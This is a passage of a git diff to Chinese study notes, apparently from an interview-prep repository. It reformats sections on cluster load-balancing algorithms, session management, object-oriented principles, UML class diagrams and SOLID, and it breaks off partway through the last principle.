+![](index_files/a40661e4-1a71-46d2-a158-ff36f7fc3331.png)
+![](index_files/691f11eb-31a7-46be-9de1-61f433c4b3c7.png)
+![](index_files/ae1b27b8-bc13-42e7-ac12-a2242e125499.png)
+![](index_files/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg)
+![](index_files/794239e3-4baf-4aad-92df-f02f59b2a6fe.png)
+![](index_files/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png)
+![](index_files/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png)
+![](index_files/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg)
+![](index_files/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg)
+![](index_files/867e93eb-3161-4f39-b2d2-c0cd3788e194.png)
+![](index_files/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg)
+![](index_files/48a934ff-a29b-434c-8e1d-8c8ec20cb91d.png)
+![](index_files/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg)
+![](index_files/abb3e0d1-c1bd-45d0-8190-73c74a9f6679.png)
+![](index_files/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg)
+![](index_files/b8dd708d-f372-4b04-b828-1dd99021c244.png)
+![](index_files/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png)
+![](index_files/11236498-1417-46ce-a1b0-e10054256955.png)
+![](index_files/ec923dc7-864c-47b0-a411-1f2c48d084de.png)
+![](index_files/dd3b289c-d90e-44a6-a44c-4880517eb1de.png)
+![](index_files/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png)
+![](index_files/0f754c1d-b5cb-48cd-90e0-4a86034290a1.png)
+![](index_files/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png)
+![](index_files/3fb5b255-b791-45b6-8754-325c8741855a.png)
+![](index_files/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png)
+![](index_files/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg)
+![](index_files/f9978fa6-9f49-4a0f-8540-02d269ac448f.png)
+![](index_files/d52270b4-9097-4667-9f18-f405fc661c99.png)
+![](index_files/a6c20f60-5eba-427d-9413-352ada4b40fe.png)
+![](index_files/f8b3f73d-0fda-449f-b55b-fa36b7ac04cd.png)
\ No newline at end of file
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index f42524b7..91e691e2 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,16 +1,4 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、负载均衡](#一负载均衡)
-    * [负载均衡算法](#负载均衡算法)
-    * [转发实现](#转发实现)
-* [二、集群下的 Session 管理](#二集群下的-session-管理)
-    * [Sticky Session](#sticky-session)
-    * [Session Replication](#session-replication)
-    * [Session Server](#session-server)
-<!-- GFM-TOC -->
-
-
-# 一、负载均衡
+# 一、负载均衡
 
 集群中的应用服务器（节点）通常被设计成无状态，用户可以请求任何一个节点。
 
@@ -18,186 +6,186 @@
 
 负载均衡器可以用来实现高可用以及伸缩性：
 
-- 高可用：当某个节点故障时，负载均衡器会将用户请求转发到另外的节点上，从而保证所有服务持续可用；
-- 伸缩性：根据系统整体负载情况，可以很容易地添加或移除节点。
+- 高可用：当某个节点故障时，负载均衡器会将用户请求转发到另外的节点上，从而保证所有服务持续可用；
+- 伸缩性：根据系统整体负载情况，可以很容易地添加或移除节点。
 
 负载均衡器运行过程包含两个部分：
 
-1. 根据负载均衡算法得到转发的节点；
-2. 进行转发。
+1. 根据负载均衡算法得到转发的节点；
+2. 进行转发。
 
-## 负载均衡算法
+## 负载均衡算法
 
-### 1. 轮询（Round Robin）
+### 1. 轮询（Round Robin）
 
 轮询算法把每个请求轮流发送到每个服务器上。
 
-下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
+下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
 
-<div align="center"> <img src="pics/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
+![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
 
-该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
+该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
 
-<div align="center"> <img src="pics/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
+![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
 
-### 2. 加权轮询（Weighted Round Robbin）
+### 2. 加权轮询（Weighted Round Robbin）
 
 加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。
 
-例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
+例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
 
-<div align="center"> <img src="pics/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
+![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
 
-### 3. 最少连接（least Connections）
+### 3. 最少连接（least Connections）
 
 由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。
 
-例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开，此时 (6, 4) 请求连接服务器 2。该系统继续运行时，服务器 2 会承担过大的负载。
+例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开，此时 (6, 4) 请求连接服务器 2。该系统继续运行时，服务器 2 会承担过大的负载。
 
-<div align="center"> <img src="pics/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
+![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
 
 最少连接算法就是将请求发送给当前最少连接数的服务器上。
 
-例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
+例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
 
-<div align="center"> <img src="pics/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
+![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
 
-### 4. 加权最少连接（Weighted Least Connection）
+### 4. 加权最少连接（Weighted Least Connection）
 
 在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
 
-<div align="center"> <img src="pics/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
+![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
 
-### 5. 随机算法（Random）
+### 5. 随机算法（Random）
 
 把请求随机发送到服务器上。
 
 和轮询算法类似，该算法比较适合服务器性能差不多的场景。
 
-<div align="center"> <img src="pics/0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
+![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
 
-### 6. 源地址哈希法 (IP Hash)
+### 6. 源地址哈希法 (IP Hash)
 
-源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
+源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
 
-可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
+可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
 
-<div align="center"> <img src="pics/2018040302.jpg"/> </div><br>
+![](index_files/2018040302.jpg)
 
-## 转发实现
+## 转发实现
 
-### 1. HTTP 重定向
+### 1. HTTP 重定向
 
-HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
+HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
 
 缺点：
 
-- 需要两次请求，因此访问延迟比较高；
-- HTTP 负载均衡器处理能力有限，会限制集群的规模。
+- 需要两次请求，因此访问延迟比较高；
+- HTTP 负载均衡器处理能力有限，会限制集群的规模。
 
 该负载均衡转发的缺点比较明显，实际场景中很少使用它。
 
-<div align="center"> <img src="pics/c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
+![](index_files/c5f611f0-fd5c-4158-9003-278141136e6e.jpg)
 
-### 2. DNS 域名解析
+### 2. DNS 域名解析
 
-在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
+在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
 
 优点：
 
-- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
+- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
 
 缺点：
 
-- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
+- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
 
-大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
+大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
 
-<div align="center"> <img src="pics/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
+![](index_files/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg)
 
-### 3. 反向代理服务器
+### 3. 反向代理服务器
 
 反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
 
-在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
+在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
 
 优点：
 
-- 与其它功能集成在一起，部署简单。
+- 与其它功能集成在一起，部署简单。
 
 缺点：
 
-- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
+- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
 
-### 4. 网络层
+### 4. 网络层
 
-在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
+在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
 
 源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
 
 优点：
 
-- 在内核进程中进行处理，性能比较高。
+- 在内核进程中进行处理，性能比较高。
 
 缺点：
 
-- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
+- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
 
-### 5. 链路层
+### 5. 链路层
 
-在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
+在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
 
-通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，可以直接转发给客户端，避免了负载均衡服务器的成为瓶颈。
+通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，可以直接转发给客户端，避免了负载均衡服务器的成为瓶颈。
 
 这是一种三角传输模式，被称为直接路由。对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
 
-这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
+这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
 
 参考：
 
-- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
-- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
+- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
+- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
 
-# 二、集群下的 Session 管理
+# 二、集群下的 Session 管理
 
-一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
+一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
 
-## Sticky Session
+## Sticky Session
 
-需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
+需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
 
 缺点：
 
-- 当服务器宕机时，将丢失该服务器上的所有 Session。
+- 当服务器宕机时，将丢失该服务器上的所有 Session。
 
-<div align="center"> <img src="pics/MultiNode-StickySessions.jpg"/> </div><br>
+![](index_files/MultiNode-StickySessions.jpg)
 
-## Session Replication
+## Session Replication
 
-在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
+在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
 
 缺点：
 
-- 占用过多内存；
-- 同步过程占用网络带宽以及服务器处理器时间。
+- 占用过多内存；
+- 同步过程占用网络带宽以及服务器处理器时间。
 
-<div align="center"> <img src="pics/MultiNode-SessionReplication.jpg"/> </div><br>
+![](index_files/MultiNode-SessionReplication.jpg)
 
-## Session Server
+## Session Server
 
-使用一个单独的服务器存储 Session 数据，可以使用传统的 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
+使用一个单独的服务器存储 Session 数据，可以使用传统的 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
 
 优点：
 
-- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
+- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
 
 缺点：
 
-- 需要去实现存取 Session 的代码。
+- 需要去实现存取 Session 的代码。
 
-<div align="center"> <img src="pics/MultiNode-SpringSession.jpg"/> </div><br>
+![](index_files/MultiNode-SpringSession.jpg)
 
 参考：
 
-- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
+- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
 
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index ba7fe359..7ad73eec 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,360 +1,340 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、三大特性](#一三大特性)
-    * [封装](#封装)
-    * [继承](#继承)
-    * [多态](#多态)
-* [二、类图](#二类图)
-    * [泛化关系 (Generalization)](#泛化关系-generalization)
-    * [实现关系 (Realization)](#实现关系-realization)
-    * [聚合关系 (Aggregation)](#聚合关系-aggregation)
-    * [组合关系 (Composition)](#组合关系-composition)
-    * [关联关系 (Association)](#关联关系-association)
-    * [依赖关系 (Dependency)](#依赖关系-dependency)
-* [三、设计原则](#三设计原则)
-    * [S.O.L.I.D](#solid)
-    * [其他常见原则](#其他常见原则)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、三大特性
 
-
-# 一、三大特性
-
-## 封装
+## 封装
 
 利用抽象数据类型将数据和基于数据的操作封装在一起，使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部，尽可能地隐藏内部的细节，只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节，但可以通过对象对外提供的接口来访问该对象。
 
 优点：
 
-- 减少耦合：可以独立地开发、测试、优化、使用、理解和修改
-- 减轻维护的负担：可以更容易被程序员理解，并且在调试的时候可以不影响其他模块
-- 有效地调节性能：可以通过剖析确定哪些模块影响了系统的性能
-- 提高软件的可重用性
-- 降低了构建大型系统的风险：即使整个系统不可用，但是这些独立的模块却有可能是可用的
+- 减少耦合：可以独立地开发、测试、优化、使用、理解和修改
+- 减轻维护的负担：可以更容易被程序员理解，并且在调试的时候可以不影响其他模块
+- 有效地调节性能：可以通过剖析确定哪些模块影响了系统的性能
+- 提高软件的可重用性
+- 降低了构建大型系统的风险：即使整个系统不可用，但是这些独立的模块却有可能是可用的
 
-以下 Person 类封装 name、gender、age 等属性，外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性，而无法获取 age 属性，但是 age 属性可以供 work() 方法使用。
+以下 Person 类封装 name、gender、age 等属性，外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性，而无法获取 age 属性，但是 age 属性可以供 work() 方法使用。
 
-注意到 gender 属性使用 int 数据类型进行存储，封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时，也可以在不影响客户端代码的情况下进行。
+注意到 gender 属性使用 int 数据类型进行存储，封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时，也可以在不影响客户端代码的情况下进行。
 
 ```java
-public class Person {
+public class Person {
 
-    private String name;
-    private int gender;
-    private int age;
+    private String name;
+    private int gender;
+    private int age;
 
-    public String getName() {
-        return name;
-    }
+    public String getName() {
+        return name;
+    }
 
-    public String getGender() {
-        return gender == 0 ? "man" : "woman";
-    }
+    public String getGender() {
+        return gender == 0 ? "man" : "woman";
+    }
 
-    public void work() {
-        if (18 <= age && age <= 50) {
-            System.out.println(name + " is working very hard!");
-        } else {
-            System.out.println(name + " can't work any more!");
-        }
-    }
+    public void work() {
+        if (18 <= age && age <= 50) {
+            System.out.println(name + " is working very hard!");
+        } else {
+            System.out.println(name + " can't work any more!");
+        }
+    }
 }
 ```
 
-## 继承
+## 继承
 
-继承实现了  **IS-A**  关系，例如 Cat 和 Animal 就是一种 IS-A 关系，因此 Cat 可以继承自 Animal，从而获得 Animal 非 private 的属性和方法。
+继承实现了 **IS-A** 关系，例如 Cat 和 Animal 就是一种 IS-A 关系，因此 Cat 可以继承自 Animal，从而获得 Animal 非 private 的属性和方法。
 
 继承应该遵循里氏替换原则，子类对象必须能够替换掉所有父类对象。
 
-Cat 可以当做 Animal 来使用，也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为  **向上转型** 。
+Cat 可以当做 Animal 来使用，也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**。
 
 ```java
-Animal animal = new Cat();
+Animal animal = new Cat();
 ```
 
-## 多态
+## 多态
 
 多态分为编译时多态和运行时多态：
 
-- 编译时多态主要指方法的重载
-- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
+- 编译时多态主要指方法的重载
+- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
 
 运行时多态有三个条件：
 
-- 继承
-- 覆盖（重写）
-- 向上转型
+- 继承
+- 覆盖（重写）
+- 向上转型
 
-下面的代码中，乐器类（Instrument）有两个子类：Wind 和 Percussion，它们都覆盖了父类的 play() 方法，并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时，会执行实际引用对象所在类的 play() 方法，而不是 Instrument 类的方法。
+下面的代码中，乐器类（Instrument）有两个子类：Wind 和 Percussion，它们都覆盖了父类的 play() 方法，并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时，会执行实际引用对象所在类的 play() 方法，而不是 Instrument 类的方法。
 
 ```java
-public class Instrument {
+public class Instrument {
 
-    public void play() {
-        System.out.println("Instument is playing...");
-    }
+    public void play() {
+        System.out.println("Instument is playing...");
+    }
 }
 
-public class Wind extends Instrument {
+public class Wind extends Instrument {
 
-    public void play() {
-        System.out.println("Wind is playing...");
-    }
+    public void play() {
+        System.out.println("Wind is playing...");
+    }
 }
 
-public class Percussion extends Instrument {
+public class Percussion extends Instrument {
 
-    public void play() {
-        System.out.println("Percussion is playing...");
-    }
+    public void play() {
+        System.out.println("Percussion is playing...");
+    }
 }
 
-public class Music {
+public class Music {
 
-    public static void main(String[] args) {
-        List<Instrument> instruments = new ArrayList<>();
-        instruments.add(new Wind());
-        instruments.add(new Percussion());
-        for(Instrument instrument : instruments) {
-            instrument.play();
-        }
-    }
+    public static void main(String[] args) {
+        List<Instrument> instruments = new ArrayList<>();
+        instruments.add(new Wind());
+        instruments.add(new Percussion());
+        for(Instrument instrument : instruments) {
+            instrument.play();
+        }
+    }
 }
 ```
 
-# 二、类图
+# 二、类图
 
-以下类图使用 [PlantUML](https://www.planttext.com/) 绘制，更多语法及使用请参考：http://plantuml.com/ 。
+以下类图使用 [PlantUML](https://www.planttext.com/) 绘制，更多语法及使用请参考：http://plantuml.com/ 。
 
-## 泛化关系 (Generalization)
+## 泛化关系 (Generalization)
 
-用来描述继承关系，在 Java 中使用 extends 关键字。
+用来描述继承关系，在 Java 中使用 extends 关键字。
 
-<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png"/> </div><br>
+![](index_files/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png)
 
 ```text
 @startuml
 
-title Generalization
+title Generalization
 
-class Vihical
-class Car
-class Trunck
+class Vihical
+class Car
+class Trunck
 
-Vihical <|-- Car
-Vihical <|-- Trunck
+Vihical <|-- Car
+Vihical <|-- Trunck
 
 @enduml
 ```
 
-## 实现关系 (Realization)
+## 实现关系 (Realization)
 
-用来实现一个接口，在 Java 中使用 implements 关键字。
+用来实现一个接口，在 Java 中使用 implements 关键字。
 
-<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png"/> </div><br>
+![](index_files/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png)
 
 ```text
 @startuml
 
-title Realization
+title Realization
 
-interface MoveBehavior
-class Fly
-class Run
+interface MoveBehavior
+class Fly
+class Run
 
-MoveBehavior <|.. Fly
-MoveBehavior <|.. Run
+MoveBehavior <|.. Fly
+MoveBehavior <|.. Run
 
 @enduml
 ```
 
-## 聚合关系 (Aggregation)
+## 聚合关系 (Aggregation)
 
 表示整体由部分组成，但是整体和部分不是强依赖的，整体不存在了部分还是会存在。
 
-<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png"/> </div><br>
+![](index_files/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png)
 
 ```text
 @startuml
 
-title Aggregation
+title Aggregation
 
-class Computer
-class Keyboard
-class Mouse
-class Screen
+class Computer
+class Keyboard
+class Mouse
+class Screen
 
-Computer o-- Keyboard
-Computer o-- Mouse
-Computer o-- Screen
+Computer o-- Keyboard
+Computer o-- Mouse
+Computer o-- Screen
 
 @enduml
 ```
 
-## 组合关系 (Composition)
+## 组合关系 (Composition)
 
 和聚合不同，组合中整体和部分是强依赖的，整体不存在了部分也不存在了。比如公司和部门，公司没了部门就不存在了。但是公司和员工就属于聚合关系了，因为公司没了员工还在。
 
-<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png"/> </div><br>
+![](index_files/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png)
 
 ```text
 @startuml
 
-title Composition
+title Composition
 
-class Company
-class DepartmentA
-class DepartmentB
+class Company
+class DepartmentA
+class DepartmentB
 
-Company *-- DepartmentA
-Company *-- DepartmentB
+Company *-- DepartmentA
+Company *-- DepartmentB
 
 @enduml
 ```
 
-## 关联关系 (Association)
+## 关联关系 (Association)
 
-表示不同类对象之间有关联，这是一种静态关系，与运行过程的状态无关，在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系，一个学校可以有很多学生，但是一个学生只属于一个学校，因此这是一种多对一的关系，在运行开始之前就可以确定。
+表示不同类对象之间有关联，这是一种静态关系，与运行过程的状态无关，在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系，一个学校可以有很多学生，但是一个学生只属于一个学校，因此这是一种多对一的关系，在运行开始之前就可以确定。
 
-<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png"/> </div><br>
+![](index_files/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png)
 
 ```text
 @startuml
 
-title Association
+title Association
 
-class School
-class Student
+class School
+class Student
 
-School "1" - "n" Student
+School "1" - "n" Student
 
 @enduml
 ```
 
-## 依赖关系 (Dependency)
+## 依赖关系 (Dependency)
 
-和关联关系不同的是，依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式：
+和关联关系不同的是，依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式：
 
-- A 类是 B 类方法的局部变量；
-- A 类是 B 类方法当中的一个参数；
-- A 类向 B 类发送消息，从而影响 B 类发生变化。
+- A 类是 B 类方法的局部变量；
+- A 类是 B 类方法当中的一个参数；
+- A 类向 B 类发送消息，从而影响 B 类发生变化。
 
-<div align="center"> <img src="pics/LOun2W9134NxVugmbJPp15d4LalxC4O.png"/> </div><br>
+![](index_files/LOun2W9134NxVugmbJPp15d4LalxC4O.png)
 
 ```text
 @startuml
 
-title Dependency
+title Dependency
 
-class Vihicle {
-    move(MoveBehavior)
+class Vihicle {
+    move(MoveBehavior)
 }
 
-interface MoveBehavior {
-    move()
+interface MoveBehavior {
+    move()
 }
 
-note "MoveBehavior.move()" as N
+note "MoveBehavior.move()" as N
 
-Vihicle ..> MoveBehavior
+Vihicle ..> MoveBehavior
 
-Vihicle .. N
+Vihicle .. N
 
 @enduml
 ```
 
-# 三、设计原则
+# 三、设计原则
 
-## S.O.L.I.D
+## S.O.L.I.D
 
-| 简写 | 全拼 | 中文翻译 |
-| :--: | :--: | :--: |
-| SRP | The Single Responsibility Principle    | 单一责任原则 |
-| OCP | The Open Closed Principle              | 开放封闭原则 |
-| LSP | The Liskov Substitution Principle      | 里氏替换原则 |
-| ISP | The Interface Segregation Principle    | 接口分离原则 |
-| DIP | The Dependency Inversion Principle     | 依赖倒置原则 |
+| 简写 | 全拼 | 中文翻译 |
+| :--: | :--: | :--: |
+| SRP | The Single Responsibility Principle    | 单一责任原则 |
+| OCP | The Open Closed Principle              | 开放封闭原则 |
+| LSP | The Liskov Substitution Principle      | 里氏替换原则 |
+| ISP | The Interface Segregation Principle    | 接口分离原则 |
+| DIP | The Dependency Inversion Principle     | 依赖倒置原则 |
 
-### 1. 单一责任原则
+### 1. 单一责任原则
 
-> 修改一个类的原因应该只有一个。
+> 修改一个类的原因应该只有一个。
 
 换句话说就是让一个类只负责一件事，当这个类需要做过多事情的时候，就需要分解这个类。
 
 如果一个类承担的职责过多，就等于把这些职责耦合在了一起，一个职责的变化可能会削弱这个类完成其它职责的能力。
 
-### 2. 开放封闭原则
+### 2. 开放封闭原则
 
-> 类应该对扩展开放，对修改关闭。
+> 类应该对扩展开放，对修改关闭。
 
 扩展就是添加新功能的意思，因此该原则要求在添加新功能时不需要修改代码。
 
 符合开闭原则最典型的设计模式是装饰者模式，它可以动态地将责任附加到对象上，而不用去修改类的代码。
 
-### 3. 里氏替换原则
+### 3. 里氏替换原则
 
-> 子类对象必须能够替换掉所有父类对象。
+> 子类对象必须能够替换掉所有父类对象。
 
-继承是一种 IS-A 关系，子类需要能够当成父类来使用，并且需要比父类更特殊。
+继承是一种 IS-A 关系，子类需要能够当成父类来使用，并且需要比父类更特殊。
 
 如果不满足这个原则，那么各个子类的行为上就会有很大差异，增加继承体系的复杂度。
 
-### 4. 接口分离原则
+### 4. 接口分离原则
 
-> 不应该强迫客户依赖于它们不用的方法。
+> 不应该强迫客户依赖于它们不用的方法。
 
 因此使用多个专门的接口比使用单一的总接口要好。
 
-### 5. 依赖倒置原则
+### 5. 依赖倒置原则
 
-> 高层模块不应该依赖于低层模块，二者都应该依赖于抽象；</br>抽象不应该依赖于细节，细节应该依赖于抽象。
